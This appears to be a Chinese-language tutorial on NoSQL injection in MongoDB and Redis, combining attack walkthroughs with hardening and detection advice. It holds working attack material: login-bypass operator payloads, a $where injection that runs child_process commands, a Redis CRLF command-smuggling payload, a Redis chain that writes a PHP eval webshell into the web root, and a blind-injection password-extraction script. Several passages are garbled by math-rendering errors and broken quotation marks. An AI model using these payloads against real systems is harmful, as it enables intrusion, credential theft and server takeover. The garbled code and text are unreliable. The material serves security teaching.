第一部分:开篇明义 —— 定义、价值与目标

定位与价值

在Web应用安全领域,SQL注入早已是家喻户晓的头号威胁。然而,随着互联网数据规模的爆炸式增长和敏捷开发的需求,以MongoDB、Redis等为代表的NoSQL数据库因其高性能、高扩展性和灵活的数据模型被广泛应用。随之而来,一个常见的误解是:“NoSQL数据库没有固定的查询语言,所以不存在注入攻击”。这无疑是危险的。NoSQL注入正是攻击者利用应用程序对用户输入处理不当,向NoSQL数据库查询逻辑中注入恶意指令的一种攻击手法。其危害性与SQL注入等同,可导致数据泄露、数据篡改、权限绕过乃至远程代码执行(RCE)。

理解NoSQL注入,对于现代应用安全防御体系构建至关重要。它位于渗透测试中“漏洞利用”环节的核心,是突破应用后端数据层、验证授权逻辑缺陷的利器。掌握其原理与利用,意味着安全人员能从传统的SQL思维定式中跳脱出来,应对日益复杂的异构数据存储架构。

学习目标

读完本文,你将能够:

  1. 阐述NoSQL注入的核心概念、与SQL注入的根本区别,以及其产生的深层次原因。
  2. 识别基于MongoDB和Redis的应用程序中潜在的NoSQL注入点。
  3. 独立完成对MongoDB查询注入、盲注、命令执行以及Redis未授权访问结合注入的攻击链复现。
  4. 分析并实施针对开发侧与运维侧的、有效的NoSQL注入防御与检测方案。
  5. 连接NoSQL注入知识与其他Web漏洞(如SSRF、反序列化),形成体系化的攻击面认知。

前置知识

· 基础HTTP协议与Web请求:理解GET/POST请求、参数传递。
· JavaScript基础:了解JSON语法和JavaScript对象。
· NoSQL基本概念:了解MongoDB的文档模型、Redis的键值存储模型。
· Docker基础操作:能够使用docker和docker-compose命令运行容器。


第二部分:原理深掘 —— 从“是什么”到“为什么”

核心定义与类比

NoSQL注入:攻击者通过向应用程序提交精心构造的输入数据,影响或操控后端NoSQL数据库的查询、更新或命令执行逻辑,从而绕过安全限制、窃取或破坏数据的攻击方式。

类比:想象一个智能管家(应用程序)负责管理你的储物间(NoSQL数据库)。你通过语音或纸条(用户输入)告诉管家“把标价大于50的商品清单给我”。正常情况下,管家会解析你的指令,生成一个内部命令去查找。但如果攻击者说:“把标价大于50 或者 1等于1 的商品清单给我”,而管家没有正确处理“或者”这个逻辑,就可能错误地执行了“把所有商品清单给我”的命令。NoSQL注入的本质,就是欺骗“管家”的错误解析逻辑。

根本原因分析

NoSQL注入的根本原因与SQL注入一脉相承:将用户输入的数据与代码(查询逻辑)不加区分地混合执行。但其表现形式因NoSQL数据库的特性而有所不同:

  1. 查询语言的灵活性:NoSQL查询常以JSON/BSON、数组或特定API参数的形式传递,而非标准字符串。当应用程序使用字符串拼接、不安全的重组方式来构建这些查询结构时,漏洞就产生了。
    · 代码层缺陷:例如,在Node.js中,使用eval或JSON.parse处理未经验证的输入来构建查询对象;在PHP中,将用户输入直接传递给MongoDB::execute或where操作符。⋅逻辑层缺陷:应用程序期望接收一个“值”,但攻击者提供了一个包含“操作符”(如where操作符。 · 逻辑层缺陷:应用程序期望接收一个“值”,但攻击者提供了一个包含“操作符”(如where操作符。逻辑层缺陷:应用程序期望接收一个,但攻击者提供了一个包含操作符(如ne, $gt, $where)的“对象”或“数组”,导致查询逻辑被篡改。
  2. 弱类型或无模式:许多NoSQL数据库是弱类型或动态类型的。应用程序预期一个字符串参数,但攻击者可以提交一个数字、布尔值true、数组[],甚至是null,这可能引发逻辑判断的意外行为,尤其是在用于认证或状态检查时。
  3. 功能丰富的查询接口:像MongoDB的$where操作符允许执行JavaScript代码,Redis的EVAL命令执行Lua脚本。如果用户输入直接传入这些功能,则可能导致严重的代码注入。

为了清晰展示攻击者视角下的攻击路径,我们通过下图揭示NoSQL注入从输入到达成攻击目标的完整流程:

“危险: 字符串拼接/不安全重组”

“安全: 参数化/严格校验”

“成功注入”

“正常执行”

攻击达成

数据泄露

权限绕过

逻辑篡改

代码执行

攻击者提交恶意输入

应用程序处理输入

构建畸形NoSQL查询/命令

构建安全查询/命令

发送至NoSQL数据库

数据库解析与执行

触发非预期行为

返回预期结果

核心机制详解:SQL注入 vs. NoSQL注入

为了更好地理解NoSQL注入的特性,我们将其与经典的SQL注入进行对比。

特性 SQL注入 NoSQL注入 (以MongoDB为例)
查询语言 结构化查询语言(SQL),字符串形式。 基于JSON/BSON的查询文档,或API调用。
注入点 WHERE子句、UNION查询、存储过程等。 查询选择器、投影、更新文档、聚合管道、特定操作符(如KaTeX parse error: Expected '}', got 'EOF' at end of input: …ION SELECT … {“ne”: null}; {“KaTeX parse error: Expected 'EOF', got '}' at position 8: gt”: “”}̲; {“where”: “恶意JS代码”}
注入手法 通过引号闭合字符串,插入逻辑操作符。 提供完整的操作符对象,或篡改JSON/数组结构。
盲注 基于布尔或时间的盲注,利用条件响应差异或延时。 同样支持布尔盲注($regex, where结合sleep)和时间盲注(如where结合sleep)和时间盲注(如where结合sleep)和时间盲注(如where中使用Date().getTime()延时)。
自动化工具 SQLmap等工具成熟。 针对性工具较少(如NoSQLmap),更多依赖手动或定制脚本。

关键洞察:NoSQL注入更侧重于“操作符注入”和“结构注入”,而SQL注入侧重于“语句注入”。这要求测试者必须理解目标NoSQL数据库的查询语法和数据交互协议。


第三部分:实战演练 —— 从“为什么”到“怎么做”

环境与工具准备

演示环境

· 宿主机:Kali Linux 2023.4 / Ubuntu 22.04
· 实验环境:使用Docker容器化部署,确保环境隔离与可复现。

核心工具

· Docker & Docker-compose: 环境编排。
· MongoDB: 版本 6.0。
· Redis: 版本 7.0。
· Node.js (Express): 用于构建存在漏洞的示例Web应用。
· Python 3 + requests库: 用于编写攻击脚本。
· Burp Suite / Postman: 用于拦截和修改HTTP请求。
· mongosh / redis-cli: 数据库命令行客户端。

最小化实验环境搭建

创建 docker-compose.yml 文件:

# docker-compose.yml
version: '3.8'
services:
  vuln-app:
    build: ./app  # 我们将在此目录下创建Dockerfile和Node.js应用
    ports:
      - "3000:3000"
    depends_on:
      - mongo
      - redis
    environment:
      - MONGO_URL=mongodb://mongo:27017/vulndb
      - REDIS_URL=redis://redis:6379

  mongo:
    image: mongo:6.0
    ports:
      - "27017:27017"
    volumes:
      - ./mongo-init.js:/docker-entrypoint-initdb.d/mongo-init.js:ro
    # 警告:以下配置仅为实验环境,生产环境必须设置认证!
    command: mongod --bind_ip_all

  redis:
    image: redis:7.0-alpine
    ports:
      - "6379:6379"
    # 警告:以下配置仅为实验环境,生产环境必须设置密码并禁用危险命令!
    command: redis-server --appendonly yes --bind 0.0.0.0
    volumes:
      - ./redis-data:/data

创建Node.js漏洞应用 (app/Dockerfile 和 app/app.js) 及初始化脚本 (mongo-init.js),具体代码将在下文实战环节中结合场景给出。

启动环境:docker-compose up --build -d

标准操作流程

场景一:MongoDB NoSQL 注入

  1. 发现/识别
    目标应用是一个简单的用户登录API,使用MongoDB存储用户凭证。后端(Node.js/Express)存在漏洞代码:
// 危险代码:使用字符串拼接构建查询对象
app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    // 漏洞点:直接将用户输入传递给查询构造器
    const query = {
        username: username,
        password: password
    };
    const user = await db.collection('users').findOne(query);
    if (user) {
        res.send('登录成功!');
    } else {
        res.send('用户名或密码错误');
    }
});

正常请求:POST /login with {“username”: “admin”, “password”: “secret123”}

探测:尝试发送非常规输入,观察响应差异。

· Payload 1 (布尔值): {“username”: “admin”, “password”: true}
· 原理:如果密码字段在数据库中是布尔型(可能性小),true可能匹配。但更常见的是触发类型混淆,MongoDB中true不等于字符串。
· Payload 2 (操作符注入): {“username”: “admin”, “password”: {“KaTeX parse error: Expected 'EOF', got '}' at position 10: ne”: null}̲} · 原理:查询条件变为…ne: null}}。即查找用户名为admin且密码不等于 null 的用户。只要admin用户的密码字段存在(不为null),条件就成立。

如果使用Payload 2返回了“登录成功”,则确认存在NoSQL注入。

  1. 利用/分析
    利用1:绕过认证
    直接使用{“KaTeX parse error: Expected 'EOF', got '}' at position 8: ne”: “”}̲或{“regex”: “.*”}作为密码值,可以匹配任何非空或符合任意正则的密码。
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin", "password":{"$ne":""}}'

利用2:提取数据(盲注)
假设登录成功后只返回布尔信息(成功/失败)。我们可以利用$regex操作符进行基于布尔的盲注,逐字符猜解密码。
例如,猜解密码第一位是否为字母‘a’:

{
  "username": "admin",
  "password": {
    "$regex": "^a"
  }
}

如果登录成功,则说明密码以‘a’开头。我们可以编写脚本自动化这个过程。

利用3:通过 where操作符执行JavaScript(高危)如果应用程序使用了不安全的where 操作符执行JavaScript(高危) 如果应用程序使用了不安全的where操作符执行JavaScript(高危)如果应用程序使用了不安全的where操作符,并且用户输入被拼接进去:

// 危险代码:拼接用户输入到 $where 子句
const username = req.query.username;
const query = { $where: `this.username == '${username}'` };

攻击者可以注入任意JS代码:

// 正常:/search?username=admin
// 注入:/search?username=admin' && this.password.startsWith('a') || 'a'=='b
// 注入RCE(如果环境允许):/search?username=admin' && (()=>{ require('child_process').exec('id'); return true; })() || 'a'=='b

利用4:时序攻击(Time-Based Blind Injection)
利用$where中的sleep功能(如果JS环境支持)或通过复杂正则导致查询超时,来推断信息。

// 在 $where 中注入 sleep
`this.username == 'admin' && (()=>{ var d = new Date(); while(new Date() - d < 5000){ }; return true; })() && '1'=='1`
  1. 验证/深入
    成功绕过登录后,可以进一步访问需要认证的接口。结合其他漏洞,如从用户profile接口中获取其他用户数据(利用类似的注入点),扩大战果。

场景二:Redis NoSQL 注入与未授权访问

  1. 发现/识别
    目标应用使用Redis缓存会话和用户数据。存在一个“缓存查询”功能,后端代码如下:
# 危险代码:Flask应用,拼接用户输入到Redis命令
import redis
r = redis.Redis(host='redis', port=6379, decode_responses=True)

@app.route('/getcache')
def get_cache():
    key = request.args.get('key')  # 用户可控
    # 漏洞点:直接拼接key到命令
    value = r.get(f”cache:{key})
    return value or “Not Found”

更危险的情况是,如果Redis服务器配置不当,未启用认证且绑定在公网(–bind 0.0.0.0),攻击者可以直接连接Redis服务(未授权访问)。这是Redis最常见的高危漏洞之一。

# 探测Redis未授权访问
redis-cli -h <target_ip> -p 6379
> INFO # 如果返回服务器信息,则存在未授权访问
  1. 利用/分析
    利用1:键空间注入与SSRF
    在/getcache接口,假设我们想读取另一个键cache:admin:token。如果我们提交key=admin:token,最终命令是GET cache:admin:token。
    但如果我们注入换行符\n(Redis协议是文本行协议),就可以执行多条命令:
请求: /getcache?key=foo%0D%0ASET%20injected%20pwned%0D%0AQUIT
# URL解码后: key=foo\r\nSET injected pwned\r\nQUIT

后端执行的命令变为:

GET cache:foo
SET injected pwned
QUIT

这将设置一个新的键injected。虽然GET可能返回空,但我们通过注入成功执行了SET命令。

利用2:未授权访问 + 命令注入 = 直接RCE
这是Redis最致命的攻击链。利用未授权访问,攻击者可以向Redis写入恶意数据,并控制Redis将数据持久化到特定文件(如Web根目录),从而实现代码执行。

# 1. 连接未授权Redis
redis-cli -h 192.168.1.100

# 2. 设置一个包含Web Shell的键
> config set dir /var/www/html   # 尝试修改持久化目录为Web目录
> config set dbfilename shell.php # 设置持久化文件名为.php
> set test "<?php @eval($_POST['cmd']);?>" # 写入PHP Web Shell
> save # 触发保存,将内存数据写入文件 /var/www/html/shell.php

随后,访问 http://192.168.1.100/shell.php 即可执行任意命令。

  1. 验证/深入
    验证Redis注入时,可以通过观察应用程序的异常响应(如错误信息、延迟)来判断。对于未授权访问RCE,写入Webshell后使用蚁剑或中国菜刀等工具进行连接,验证代码执行能力。

自动化与脚本

以下是一个用于探测MongoDB布尔盲注的Python脚本示例:

#!/usr/bin/env python3
"""
NoSQL MongoDB 布尔盲注脚本
警告:仅用于授权的渗透测试环境。
"""
import requests
import string
import sys
import time

TARGET_URL = “http://localhost:3000/login”
HEADERS = {“Content-Type”: “application/json”}

def test_payload(payload):
    """发送Payload并检查响应是否表示‘成功’(这里假设成功响应包含‘成功’字样)"""
    data = {“username”: “admin”, “password”: payload}
    try:
        resp = requests.post(TARGET_URL, json=data, headers=HEADERS, timeout=10)
        return “成功” in resp.text # 根据实际情况调整判断条件
    except Exception as e:
        print(f”[!] 请求失败: {e})
        return False

def extract_data():
    """逐字符提取admin用户的密码"""
    extracted = “”
    chars = string.ascii_letters + string.digits + “!@#$%^&*()”
    # 假设我们知道密码长度,或通过`$regex`:”^.{1,20}$”先探测长度
    for position in range(1, 20): # 假设密码最长为20
        found_char = None
        for char in chars:
            # 构造regex payload: 密码的第N位是char
            # 注意:MongoDB $regex 默认是部分匹配,需要^和.来精确定位
            regex_payload = {“$regex”: f”^{extracted}{char}}
            sys.stdout.write(f”\r[*] 测试位置 {position}: {extracted}{char})
            sys.stdout.flush()
            if test_payload(regex_payload):
                found_char = char
                extracted += char
                print(f”\n[+] 找到字符:{char}’, 当前密码:{extracted}’”)
                break
        if not found_char:
            print(f”\n[!] 位置 {position} 没有匹配字符,可能已结束。”)
            break
    print(f”\n[+] 最终提取的密码:{extracted}’”)

if __name__ == “__main__”:
    print([*] 开始NoSQL盲注...)
    # 第一步:验证注入点是否存在
    if test_payload({“$ne”: “”}):
        print([+] 注入点确认!”)
        extract_data()
    else:
        print([-] 未发现注入点。”)

对抗性思考:绕过与进化

现代应用可能引入WAF或输入过滤器来防御ne、ne、negt等明显操作符。

· 操作符编码/混淆:MongoDB shell和某些驱动支持Unicode、HTML/URL编码。例如,KaTeX parse error: Expected '}', got 'EOF' at end of input: …word”: {“a”: {“ne”: “”}}},而查询构造时可能被错误地展开。
· 逻辑替换:不用ne,用ne,用ne,用not + KaTeX parse error: Expected '}', got 'EOF' at end of input: eq:{“not”: {“KaTeX parse error: Expected 'EOF', got '}' at position 8: eq”: “”}̲}。或用regex进行更隐蔽的匹配。
· 针对Redis:WAF可能过滤空格和换行符。可以使用Tab(%09)、换页符等其他空白符尝试绕过。对于协议,可以尝试使用完整RESP协议格式进行二次封装。


第四部分:防御建设 —— 从“怎么做”到“怎么防”

开发侧修复

原则:永远不要信任用户输入,严格区分数据与代码。

MongoDB 安全范式

危险模式 vs 安全模式

  1. 避免拼接查询对象:
    // 危险:直接将用户输入作为查询对象的一部分
    const query = { username: req.body.username, password: req.body.password };
    
    // 安全:使用参数化查询(驱动程序支持)或显式构建白名单允许的字段
    // 对于登录,最佳实践是:先通过用户名查找,再在应用代码中比对哈希密码。
    const user = await usersCollection.findOne({ username: req.body.username });
    if (!user) { ... }
    const isValid = await bcrypt.compare(req.body.password, user.passwordHash);
    
  2. 严格处理 $where 和 $expr:
    // 危险:拼接字符串到 $where
    const query = { $where: `this.name === '${name}'` };
    
    // 安全:完全避免使用 $where,或确保输入是严格的白名单值。
    // 如果必须用,使用绑定参数(但MongoDB $where本身不支持参数化,因此最好不用)。
    
  3. 类型与范围校验:
    // 使用Joi、Yup、class-validator等库进行输入验证
    const schema = Joi.object({
        username: Joi.string().alphanum().min(3).max(30).required(),
        password: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{3,30}$')),
        age: Joi.number().integer().min(0).max(150) // 明确类型和范围
    });
    const { value, error } = schema.validate(req.body);
    

Redis 安全范式

  1. 使用安全的API:
    # 危险:使用format字符串或%拼接
    r.get(f”user:{user_input})
    # 危险:使用execute_command直接拼接
    r.execute_command(f”GET {user_input})
    
    # 安全:使用客户端库提供的标准方法,键名作为参数传递
    r.get(user_input) # 这本身是安全的,因为`user_input`是整个键值,不会被解析为命令。
    # 但绝对禁止将用户输入直接传入 `eval()` 或 `script_load()` 的`script`参数。
    
  2. 过滤输入:
    # 检查键名是否只包含允许的字符
    import re
    if not re.match(r’^[a-zA-Z0-9:_-]+$’, key):
        raise ValueError(“Invalid key format)
    

运维侧加固

MongoDB

· 启用认证:部署必须使用–auth参数,创建强密码的用户和角色。
· 网络隔离:将MongoDB部署在内网,仅允许应用服务器访问。使用防火墙规则限制源IP。
· 最小权限原则:为应用程序创建专用数据库用户,只授予必要的读写权限,切勿使用root或dbAdmin角色。
· 禁用危险功能:在生产环境中,考虑通过–noscripting禁用服务器端JavaScript执行(但这会影响$where, mapReduce等)。
· 定期更新:保持MongoDB版本更新,修复已知漏洞。

Redis

· 强制认证:在redis.conf中配置requirepass <强密码>,并在客户端连接时使用AUTH命令。
· 禁止远程访问:绑定内网IP,bind 127.0.0.1 或 bind <内网IP>。绝对不要使用 bind 0.0.0.0。
· 重命名或禁用危险命令:将CONFIG, FLUSHDB, EVAL, SHUTDOWN等命令重命名为随机字符串或禁用。

rename-command CONFIG “”
rename-command FLUSHDB “”
rename-command EVAL “”

· 以非root用户运行:使用redis用户启动Redis服务。
· 启用保护模式:protected-mode yes(默认)。当未显式绑定IP且未设置密码时,只接受本地连接。

检测与响应线索

· 应用日志:监控应用日志中异常的查询结构,如包含where、where、wherene、$regex等操作符的查询(如果业务本身不用)。关注来自同一源的频繁认证失败但逻辑异常(如密码字段是对象)的请求。
· 数据库日志 (MongoDB):开启审计日志–auditDestination file --auditFormat JSON --auditPath /path/to/audit.log,分析异常查询模式。
· 网络流量:对于Redis,监控是否有非应用服务器IP直接向Redis端口(6379)发起连接并发送CONFIG, SET, FLUSHDB等命令。可以使用WAF或IDS规则检测Redis协议中的攻击载荷(如config set dir)。
· 文件系统监控 (HIDS):监控Web目录下是否被创建了异常文件(如.php, .jsp),这可能是Redis未授权访问导致Webshell写入的迹象。


第五部分:总结与脉络 —— 连接与展望

核心要点复盘

  1. NoSQL注入真实存在且危害巨大,其根源与SQL注入相同:混淆了数据与代码的边界。
  2. 攻击手法多样:MongoDB中主要通过操作符注入($ne, $regex, $where)和结构注入;Redis中则常与未授权访问结合,通过协议注入实现RCE。
  3. 防御核心在于严格输入校验与安全配置:开发侧采用参数化查询、输入验证、避免危险API;运维侧强制认证、网络隔离、最小权限。
  4. NoSQL注入的检测需要结合应用日志、数据库审计日志和网络流量分析,关注异常查询结构和连接行为。
  5. 自动化利用工具虽不如SQLmap成熟,但通过编写定制脚本(如布尔盲注脚本),可以高效地进行漏洞利用与验证。

知识体系连接

· 前序基础:本文建立在 [Web应用安全基础]、[HTTP协议与BurpSuite使用]、[JavaScript与Node.js安全概要] 以及 [NoSQL数据库基础] 等知识之上。理解这些是掌握NoSQL注入的前提。
· 横向关联:NoSQL注入常与 [服务器端请求伪造 (SSRF)] 结合(通过Redis或MongoDB驱动进行内网探测),也与 [不安全的反序列化] 有相似之处(将不受控的数据解析为可执行结构)。
· 后继进阶:掌握本文后,可进一步研究 [云原生环境下的数据存储安全](如AWS DynamoDB, Azure Cosmos DB的潜在注入)、[GraphQL注入](另一种灵活的查询语言),以及 [IAST/RASP技术在运行时防御NoSQL注入] 的原理。

进阶方向指引

  1. 面向其他NoSQL数据库的注入研究:如Cassandra(CQL)、Elasticsearch(DSL)、CouchDB等的独特查询语法和潜在注入点。探索这些数据库的特定功能(如Elasticsearch的Painless脚本)带来的安全风险。
  2. 自动化漏洞挖掘与利用框架开发:现有的NoSQLmap等项目维护状态不佳。开发一个现代化的、支持多种NoSQL数据库、具备智能检测和利用能力的开源工具,是极具价值的贡献方向。

自检清单

· 是否明确定义了本主题的价值与学习目标?
· 开篇阐明了NoSQL注入在NoSQL普及背景下的重要性与危害,并列出了5个具体、可衡量的学习目标。
· 原理部分是否包含一张自解释的Mermaid核心机制图?
· 提供了“NoSQL注入攻击流程图”,清晰地展示了从攻击输入到攻击达成的完整路径及关键决策点。
· 实战部分是否包含一个可运行的、注释详尽的代码片段?
· 提供了完整的docker-compose.yml环境搭建示例,以及用于MongoDB布尔盲注的Python脚本,代码中包含详细注释、错误处理和明显警告。
· 防御部分是否提供了至少一个具体的安全代码示例或配置方案?
· 针对MongoDB和Redis,分别给出了“危险模式 vs 安全模式”的代码对比,以及可落地的运维加固配置命令(如认证、绑定IP、重命名危险命令)。
· 是否建立了与知识大纲中其他文章的联系?
· 在“知识体系连接”小节,明确指出了与前序基础、横向关联及后继进阶文章的关联。
· 全文是否避免了未定义的术语和模糊表述?
· 关键术语如NoSQL注入、操作符注入、未授权访问等首次出现时均已加粗并给出解释,技术描述力求准确清晰。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐